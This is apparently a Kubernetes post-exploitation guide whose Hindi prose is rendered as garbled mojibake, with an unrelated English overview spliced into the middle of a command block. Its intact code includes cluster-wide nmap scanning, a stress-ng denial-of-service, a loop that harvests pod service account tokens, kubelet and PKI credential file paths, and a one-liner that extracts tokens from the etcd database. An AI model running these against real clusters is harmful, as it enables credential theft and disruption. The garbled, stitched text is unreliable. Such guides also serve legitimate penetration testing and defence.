Attacking Kubernetes from inside a Pod

рд╣реИрдХрдЯреНрд░рд┐рдХреНрд╕ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

рдкреЙрдб рдмреНрд░реЗрдХрдЖрдЙрдЯ

рдпрджрд┐ рдЖрдк рднрд╛рдЧреНрдпрд╢рд╛рд▓реА рд╣реИрдВ рддреЛ рдЖрдк рдЗрд╕рд╕реЗ рдиреЛрдб рдкрд░ рдмрд╛рд╣рд░ рдирд┐рдХрд▓ рд╕рдХрддреЗ рд╣реИрдВ:

рдкреЙрдб рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдирд╛

рдкреЙрдб рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдпреЛрдЧреНрдпрддрд╛ рдмрдврд╝рд╛рдиреА рдкрдбрд╝ рд╕рдХрддреА рд╣реИ, рдХреБрдЫ рддрдХрдиреАрдХреЗрдВ рдЗрд╕реЗ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП:

рдЖрдк рдЗрд╕ рдбреЙрдХрд░ рдмреНрд░реЗрдХрдЖрдЙрдЯ рдХреА рдЬрд╛рдБрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЖрдк рдкреЙрдб рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓ рд╕рдХреЗрдВ рдЬрд┐рд╕реЗ рдЖрдкрдиреЗ рдХрдВрдкреНрд░реЛрдорд╛рдЗрдЬрд╝ рдХрд┐рдпрд╛ рд╣реИ:

Kubernetes рдпреЛрдЧреНрдпрддрд╛рдУрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ

Kubernetes рдЬрд╛рдБрдЪ рдХреЗ рдЦрдВрдб рдореЗрдВ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐:

Kubernetes Enumeration

рд╕рд╛рдорд╛рдиреНрдпрдд: рдкреЙрдбреНрд╕ рдореЗрдВ рдПрдХ рд╕реЗрд╡рд╛ рдЕрдХрд╛рдЙрдВрдЯ рдЯреЛрдХрди рдЪрд▓рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕ рд╕реЗрд╡рд╛ рдЕрдХрд╛рдЙрдВрдЯ рдореЗрдВ рдХреБрдЫ рдпреЛрдЧреНрдпрддрд╛рдПрдБ рдЬреБрдбрд╝реА рд╣реЛрддреА рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЕрдиреНрдп рдкреЙрдбреНрд╕ рдпрд╛ рдиреЛрдбреНрд╕ рдореЗрдВ рдЪрд▓реЗ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдХреНрд▓рд╕реНрдЯрд░ рдХреЗ рдЕрдВрджрд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЧрдП рд╣реЛрдВред рдЗрд╕реЗ рдХреИрд╕реЗ рдХрд░реЗрдВ рджреЗрдЦреЗрдВ:

Abusing Roles/ClusterRoles in Kubernetes

рдХреНрд▓рд╛рдЙрдб рдпреЛрдЧреНрдпрддрд╛рдУрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ

рдпрджрд┐ рдкреЙрдб рдПрдХ рдХреНрд▓рд╛рдЙрдб рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рдЕрдВрджрд░ рдЪрд▓рд╛рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ рддреЛ рдЖрдк рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдПрдВрдбрдкреЙрдЗрдВрдЯ рд╕реЗ рдЯреЛрдХрди рд▓реАрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдпреЛрдЧреНрдпрддрд╛ рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВред

рд╡рдВрд╢рд╛рдиреБрдХреНрд░рдорд┐рдд рдиреЗрдЯрд╡рд░реНрдХ рд╕реЗрд╡рд╛рдПрдВ рдЦреЛрдЬреЗрдВ

рдХреНрдпреЛрдВрдХрд┐ рдЖрдк Kubernetes рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рдЕрдВрджрд░ рд╣реИрдВ, рдпрджрд┐ рдЖрдк рдореМрдЬреВрджрд╛ рдкреЙрдб рдХреА рдпреЛрдЧреНрдпрддрд╛рдУрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдпреЛрдЧреНрдпрддрд╛ рдмрдврд╝рд╛рдиреЗ рдореЗрдВ рд╕рдлрд▓ рдирд╣реАрдВ рд╣реЛ рд╕рдХрддреЗ рдФрд░ рдЖрдк рдХрдВрдЯреЗрдирд░ рд╕реЗ рдмрд╛рд╣рд░ рдирд╣реАрдВ рдирд┐рдХрд▓ рд╕рдХрддреЗ, рддреЛ рдЖрдкрдХреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд╡рдВрд╢рд╛рдиреБрдХреНрд░рдорд┐рдд рд╕реЗрд╡рд╛рдПрдВ рдЦреЛрдЬрдиреА рдЪрд╛рд╣рд┐рдПред

рд╕реЗрд╡рд╛рдПрдВ

рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП, рдЖрдк рдХреБрдмрд░рдиреЗрдЯреНрд╕ рд╡рд╛рддрд╛рд╡рд░рдг рдХреА рд╕рднреА рд╕реЗрд╡рд╛рдПрдВ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

kubectl get svc --all-namespaces

рд╕реНрдХреИрдирд┐рдВрдЧ

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдмреИрд╢ рд╕реНрдХреНрд░рд┐рдкреНрдЯ (рдХреБрдмрд░рдиреЗрдЯреАрдЬрд╝ рдХрд╛рд░реНрдпрд╢рд╛рд▓рд╛ рд╕реЗ рд▓рд┐рдпрд╛ рдЧрдпрд╛) рдХреБрдмрд░рдиреЗрдЯреАрдЬрд╝ рдХреНрд▓рд╕реНрдЯрд░ рдХреЗ рдЖрдИрдкреА рд░реЗрдВрдЬ рдХреЛ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдЧрд╛ рдФрд░ рд╕реНрдХреИрди рдХрд░реЗрдЧрд╛:

sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рдкрд░ рдЬрд╛рдВрдЪреЗрдВ рдФрд░ рд╕реАрдЦреЗрдВ рдХрд┐ рдЖрдк рдХреИрд╕реЗ рдХреБрдмрд░рдиреЗрдЯреАрдЬрд╝ рд╡рд┐рд╢реЗрд╖ рд╕реЗрд╡рд╛рдУрдВ рдХреЛ рд╣рдорд▓рд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЕрдиреНрдп рдкреЙрдб/рд╕рднреА рд╡рд╛рддрд╛рд╡рд░рдг рдХреЛ рдХрдордЬреЛрд░ рдХрд░ рд╕рдХреЗрдВ:

Pentesting Kubernetes Services

рд╕реНрдирд┐рдлрд┐рдВрдЧ

рдпрджрд┐ рдХрдВрдкреНрд░реЛрдорд╛рдЗрдЬрд╝реНрдб рдкреЙрдб рдХрд┐рд╕реА рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╕реЗрд╡рд╛ рдХреЛ рдЪрд▓рд╛ рд░рд╣рд╛ рд╣реИ рдЬрд╣рд╛рдВ рдЕрдиреНрдп рдкреЙрдбреЛрдВ рдХреЛ рдкреНрд░рдорд╛рдгреАрдХреГрдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рддреЛ рдЖрдк рд╕реНрдирд┐рдлрд┐рдВрдЧ рд╕реНрдерд╛рдиреАрдп рд╕рдВрдЪрд╛рд░ рд╕реЗ рднреЗрдЬреЗ рдЧрдП рдкреНрд░рдорд╛рдгреЛрдВ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдиреЗрдЯрд╡рд░реНрдХ рд╕реНрдкреВрдлрд┐рдВрдЧ

рдбрд┐рдлрд╝реЙрд▓реНрдЯ рддрдХрдиреАрдХреЛрдВ рдЬреИрд╕реЗ ARP рд╕реНрдкреВрдлрд┐рдВрдЧ (рдФрд░ рдЗрд╕рдХреЗ рдзрдиреНрдпрд╡рд╛рдж рдХреЗ рд░реВрдк рдореЗрдВ DNS рд╕реНрдкреВрдлрд┐рдВрдЧ) рдХреБрдмрд░рдиреЗрдЯреАрдЬрд╝ рдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВред рдлрд┐рд░, рдПрдХ рдкреЙрдб рдХреЗ рдЕрдВрджрд░, рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ NET_RAW рдХреНрд╖рдорддрд╛ рд╣реИ (рдЬреЛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╣реИ), рддреЛ рдЖрдкрдХреЛ рдХрд╕реНрдЯрдо рдмрдирд╛рдП рдЧрдП рдиреЗрдЯрд╡рд░реНрдХ рдкреИрдХреЗрдЯ рднреЗрдЬрдиреЗ рдФрд░ MitM рд╣рдорд▓реЗ рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реЛрдЧреА ARP рд╕реНрдкреВрдлрд┐рдВрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рднреА рдкреЙрдбреНрд╕ рдХреЛ рдЬреЛ рдПрдХ рд╣реА рдиреЛрдб рдореЗрдВ рдЪрд▓ рд░рд╣реЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдпрджрд┐ рджреБрд░реНрднрд╛рдЧреНрдпрдкреВрд░реНрдг рдкреЙрдб DNS рд╕рд░реНрд╡рд░ рдХреЗ рд╕рд╛рде рдПрдХ рд╣реА рдиреЛрдб рдореЗрдВ рдЪрд▓ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк рд╕рдореВрд╣ рдореЗрдВ рд╕рднреА рдкреЙрдбреНрд╕ рдХреЗ рд▓рд┐рдП DNS рд╕реНрдкреВрдлрд┐рдВрдЧ рд╣рдорд▓рд╛ рдХрд░ рд╕рдХреЗрдВрдЧреЗред

Kubernetes Network Attacks

рдиреЛрдб DoS

рдХреБрдмрд░рдиреЗрдЯреАрдЬрд╝ рдореИрдирд┐рдлрд╝реЗрд╕реНрдЯ рдореЗрдВ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреА рдХреЛрдИ рд╡рд┐рд╢реЗрд╖рддрд╛ рдирд╣реАрдВ рд╣реИ рдФрд░ рдХрдВрдЯреЗрдирд░реНрд╕ рдХреЗ рд▓рд┐рдП рд▓рд╛рдЧреВ рд╕реАрдорд╛ рдХреНрд╖реЗрддреНрд░ рд╣реИред рдПрдХ рд╣рдорд▓рд╛рд╡рд╛рдж рдХреЗ рд░реВрдк рдореЗрдВ, рд╣рдо рдкреЙрдб/рдбрд┐рдкреНрд▓реЙрдпрдореЗрдВрдЯ рдЪрд▓ рд░рд╣реЗ рд╕реНрдерд╛рди рдкрд░ рд╕рднреА рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХрд╛ рдЙрдкрднреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЕрдиреНрдп рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рднреВрдЦреЗ рд░рдЦ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рд▓рд┐рдП рдПрдХ DoS рдХрд╛ рдХрд╛рд░рдг рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред

рдЗрд╕реЗ stress-ng рдЬреИрд╕реЗ рдПрдХ рдЙрдкрдХрд░рдг рдХреЗ рд╕рд╛рде рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

рдЖрдк stress-ng рдЪрд▓рд╛рддреЗ рд╕рдордп рдФрд░ рдЙрд╕рдХреЗ рдмрд╛рдж рдХреЗ рдмреАрдЪ рдЕрдВрддрд░ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВред

kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

рдиреЛрдб рдкреЛрд╕реНрдЯ-рдПрдХреНрд╕рдкреНрд▓реЛрдЗрдЯреЗрд╢рди

рдпрджрд┐ рдЖрдкрдиреЗ рдХрдВрдЯреЗрдирд░ рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдХрд░ рд▓рд┐рдпрд╛ рд╣реИ рддреЛ рдиреЛрдб рдореЗрдВ рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рдЪреАрдЬреЗрдВ рдорд┐рд▓реЗрдВрдЧреА:

  • рдХрдВрдЯреЗрдирд░ рд░рдирдЯрд╛рдЗрдо рдкреНрд░рдХреНрд░рд┐рдпрд╛ (рдбреЙрдХрд░)

  • рдиреЛрдб рдореЗрдВ рдФрд░ рднреА рдкреЙрдб/рдХрдВрдЯреЗрдирд░ рдЬреЛ рдЗрд╕ рддрд░рд╣ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЕрдзрд┐рдХ рдЯреЛрдХрди)

  • рдкреВрд░реА рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдФрд░ рдУрдПрд╕ рд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рд╕реЗ

  • рдХреНрдпреВрдм-рдкреНрд░реЙрдХреНрд╕реА рд╕реЗрд╡рд╛ рд╕реБрди рд░рд╣реА рд╣реИ

  • рдХреНрдпреВрдмрд▓реЗрдЯ рд╕реЗрд╡рд╛ рд╕реБрди рд░рд╣реА рд╣реИред рдХреЙрдиреНрдлрд╝рд┐рдЧ рдлрд╝рд╛рдЗрд▓реЗрдВ рдЬрд╛рдВрдЪреЗрдВ:

  • рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛: /var/lib/kubelet/

  • /var/lib/kubelet/kubeconfig

  • /var/lib/kubelet/kubelet.conf

  • /var/lib/kubelet/config.yaml

  • /var/lib/kubelet/kubeadm-flags.env

  • /etc/kubernetes/kubelet-kubeconfig

  • рдЕрдиреНрдп рдХреБрдмрд░рдиреЗрдЯреНрд╕ рд╕рд╛рдорд╛рдиреНрдп рдлрд╝рд╛рдЗрд▓реЗрдВ:

  • $HOME/.kube/config - рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЙрдиреНрдлрд╝рд┐рдЧ

  • /etc/kubernetes/kubelet.conf- рдирд┐рдпрдорд┐рдд рдХреЙрдиреНрдлрд╝рд┐рдЧ

  • /etc/kubernetes/bootstrap-kubelet.conf - рдмреВрдЯрд╕реНрдЯреНрд░реИрдк рдХреЙрдиреНрдлрд╝рд┐рдЧ

  • /etc/kubernetes/manifests/etcd.yaml - etcd рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди

  • /etc/kubernetes/pki - рдХреБрдмрд░рдиреЗрдЯреНрд╕ рдХреБрдВрдЬреА

рдиреЛрдб kubeconfig рдЦреЛрдЬреЗрдВ

рдпрджрд┐ рдЖрдк рдкрд╣рд▓реЗ рдЯрд┐рдкреНрдкрдгреАрдд рдкрдереЛрдВ рдореЗрдВ kubeconfig рдлрд╝рд╛рдЗрд▓ рдирд╣реАрдВ рдвреВрдВрдв рдкрд╛ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдХреНрдпреВрдмрд▓реЗрдЯ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рддрд░реНрдХ --kubeconfig рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

рд░рд╣рд╕реНрдп рдЪреБрд░рд╛рдирд╛

# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

рд╕реНрдХреНрд░рд┐рдкреНрдЯ can-they.sh рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЕрдиреНрдп рдкреЙрдбреЛрдВ рдХреЗ рдЯреЛрдХрди рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдЧрд╛ рдФрд░ рдЬрд╛рдВрдЪреЗрдЧрд╛ рдХрд┐ рдХреНрдпрд╛ рд╡реЗ рдЖрдкрдХреА рджреНрд╡рд╛рд░рд╛ рдЦреЛрдЬреА рдЬрд╛ рд░рд╣реА рдЕрдиреБрдорддрд┐ рд╣реИ (рдЖрдкрдХреЛ 1 рд╕реЗ 1 рджреЗрдЦрдиреЗ рдХреА рдмрдЬрд╛рдп):

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░рд┐рдд рдбреЗрдордирд╕реЗрдЯреНрд╕

рдПрдХ рдбреЗрдордирд╕реЗрдЯ рдПрдХ рдкреЙрдб рд╣реИ рдЬреЛ рдХреНрд▓рд╕реНрдЯрд░ рдХреЗ рд╕рднреА рдиреЛрдбреНрд╕ рдореЗрдВ рдЪрд▓рд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдПрдХ рдбреЗрдордирд╕реЗрдЯ рдХреЛ рдПрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░рд┐рдд рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛ рдХреЗ рд╕рд╛рде рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рд╕рднреА рдиреЛрдбреНрд╕ рдореЗрдВ рдЖрдкрдХреЛ рдЙрд╕ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░рд┐рдд рд╕реЗрд╡рд╛ рдЦрд╛рддреЗ рдХрд╛ рдЯреЛрдХрди рдорд┐рд▓реЗрдЧрд╛ рдЬрд┐рд╕рдХрд╛ рдЖрдк рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдЙрддреНрдкрд╛рджрди рд╡рд╣реА рд╣реИ рдЬреЛ рдкрд┐рдЫрд▓реЗ рдЦрдВрдб рдореЗрдВ рдерд╛, рд▓реЗрдХрд┐рди рдЕрдм рдЖрдк рднрд╛рдЧреНрдп рдкрд░ рдирд┐рд░реНрднрд░ рдирд╣реАрдВ рд╣реИрдВред

рдХреНрд▓рд╛рдЙрдб рдореЗрдВ рдкрд┐рд╡рдЯ

рдпрджрд┐ рдХреНрд▓рд╕реНрдЯрд░ рдХреЛ рдПрдХ рдХреНрд▓рд╛рдЙрдб рд╕реЗрд╡рд╛ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╕рд╛рдорд╛рдиреНрдпрдд: рдиреЛрдб рдХреЛ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдПрдВрдбрдкреЙрдЗрдВрдЯ рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХрд╛ рдкреЙрдб рд╕реЗ рдЕрд▓рдЧ рдПрдХреНрд╕реЗрд╕ рд╣реЛрдЧрд╛ред рдЗрд╕рд▓рд┐рдП, рдиреЛрдб рд╕реЗ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдПрдВрдбрдкреЙрдЗрдВрдЯ рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ (рдпрд╛ True рд╣реЛрд╕реНрдЯрдиреЗрдЯрд╡рд░реНрдХ рд╡рд╛рд▓реЗ рдкреЙрдб рд╕реЗ):

Kubernetes Pivoting to Clouds

etcd рдЪреБрд░рд╛рдирд╛

рдпрджрд┐ рдЖрдк рдиреЛрдбрдирд╛рдо рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕ рдкрд░ рдХрдВрдЯреЗрдирд░ рдЪрд▓рд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛, рддреЛ рдПрдХ рдХрдВрдЯреНрд░реЛрд▓-рдкреНрд▓реЗрди рдиреЛрдб рдореЗрдВ рдПрдХ рд╢реИрд▓ рдорд┐рд▓рд╛ рд▓реЗрдВ рдФрд░ etcd рдбреЗрдЯрд╛рдмреЗрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ:

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

control-plane рдиреЛрдбреНрд╕ рдореЗрдВ рд░реЛрд▓ рдорд╛рд╕реНрдЯрд░ рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдХреНрд▓рд╛рдЙрдб рдореИрдиреЗрдЬреНрдб рдХреНрд▓рд╕реНрдЯрд░реНрд╕ рдореЗрдВ рдЖрдк рдЙрдирдореЗрдВ рдХреБрдЫ рднреА рдирд╣реАрдВ рдЪрд▓рд╛ рд╕рдХрддреЗред

etcd рд╕реЗ рд╕реАрдХреНрд░реЗрдЯреНрд╕ рдкрдврд╝реЗрдВ

рдпрджрд┐ рдЖрдк nodeName рд╕реЗрд▓реЗрдХреНрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдкрдиреЗ рдкреЙрдб рдХреЛ рдПрдХ рдХрдВрдЯреНрд░реЛрд▓-рдкреНрд▓реЗрди рдиреЛрдб рдкрд░ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдкрдХреЛ etcd рдбреЗрдЯрд╛рдмреЗрд╕ рддрдХ рдЖрд╕рд╛рди рдкрд╣реБрдВрдЪ рд╣реЛ рд╕рдХрддреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдХреНрд▓рд╕реНрдЯрд░ рдХреЗ рд▓рд┐рдП рд╕рднреА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди, рд╕рд╣рд┐рдд рд╕рднреА рд╕реАрдХреНрд░реЗрдЯреНрд╕ рд╣реЛрддреЗ рд╣реИрдВред

рдиреАрдЪреЗ рдПрдХ рдЬрд▓реНрджрдмрд╛рдЬ рддрд░реАрдХрд╛ рд╣реИ рдЬрд┐рд╕рд╕реЗ рдЖрдк etcd рд╕реЗ рд╕реАрдХреНрд░реЗрдЯреНрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЕрдЧрд░ рдпрд╣ рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд░рд╣реЗ рдХрдВрдЯреНрд░реЛрд▓-рдкреНрд▓реЗрди рдиреЛрдб рдкрд░ рдЪрд▓ рд░рд╣рд╛ рд╣реИред рдпрджрд┐ рдЖрдк рдПрдХ рдФрд░ рд╕реБрд░реБрдЪрд┐рдкреВрд░реНрдг рд╕рдорд╛рдзрд╛рди рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдЬреЛ etcd рдХреНрд▓рд╛рдЗрдВрдЯ рдпреВрдЯрд┐рд▓рд┐рдЯреА etcdctl рдХреЗ рд╕рд╛рде рдПрдХ рдкреЙрдб рдЙрдард╛рддрд╛ рд╣реИ рдФрд░ рдЬрд╣рд╛рдВ рднреА рдпрд╣ рдЪрд▓ рд░рд╣рд╛ рд╣реИ, рд╡рд╣рд╛рдВ etcd рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдВрдЯреНрд░реЛрд▓-рдкреНрд▓реЗрди рдиреЛрдб рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореИрдирд┐рдлреЗрд╕реНрдЯ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВред

рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ etcd рдХрдВрдЯреНрд░реЛрд▓-рдкреНрд▓реЗрди рдиреЛрдб рдкрд░ рдЪрд▓ рд░рд╣рд╛ рд╣реИ рдФрд░ рдбреЗрдЯрд╛рдмреЗрд╕ рдХрд╣рд╛рдБ рд╣реИ (рдпрд╣ kubeadm рджреНрд╡рд╛рд░рд╛ рдмрдирд╛рдП рдЧрдП рдХреНрд▓рд╕реНрдЯрд░ рдкрд░ рд╣реИ)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
## Attacking Kubernetes from Inside a Pod

### Introduction

When an attacker gains access to a Kubernetes pod, they are in a privileged position to carry out further attacks within the cluster. This section explores various techniques that can be used by an attacker to escalate privileges and move laterally within a Kubernetes cluster.

### Escalating Privileges

#### Accessing the Kubernetes API

One common technique is to access the Kubernetes API from within a compromised pod. This can be achieved by leveraging service account tokens or by mounting the host's `/var/run/secrets/kubernetes.io/serviceaccount` directory into the pod.

#### Exploiting Kubernetes RBAC

If the compromised pod has limited privileges, the attacker can attempt to exploit Kubernetes Role-Based Access Control (RBAC) misconfigurations to escalate their permissions within the cluster.

### Moving Laterally

#### Pod Hopping

Once inside a pod, an attacker can move laterally by compromising other pods within the same node or different nodes in the cluster. This can be achieved by exploiting vulnerabilities in the Kubernetes network configuration or by abusing misconfigured RBAC policies.

#### Accessing Secrets

By accessing secrets stored within the cluster, an attacker can gather sensitive information such as credentials, API keys, or certificates. This information can then be used to further escalate privileges or carry out attacks on other cluster resources.

### Conclusion

Securing Kubernetes clusters requires not only protecting the external attack surface but also considering the internal threats that can arise from compromised pods. By understanding common attack techniques, defenders can better secure their clusters and prevent unauthorized access.
data-dir=/var/lib/etcd

рдИрдЯреАрд╕реАрдбреА рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдбреЗрдЯрд╛ рджреЗрдЦреЗрдВ:

strings /var/lib/etcd/member/snap/db | less

рдбреЗрдЯрд╛рдмреЗрд╕ рд╕реЗ рдЯреЛрдХрди рдирд┐рдХрд╛рд▓реЗрдВ рдФрд░ рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛ рдирд╛рдо рджрд┐рдЦрд╛рдПрдВ

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

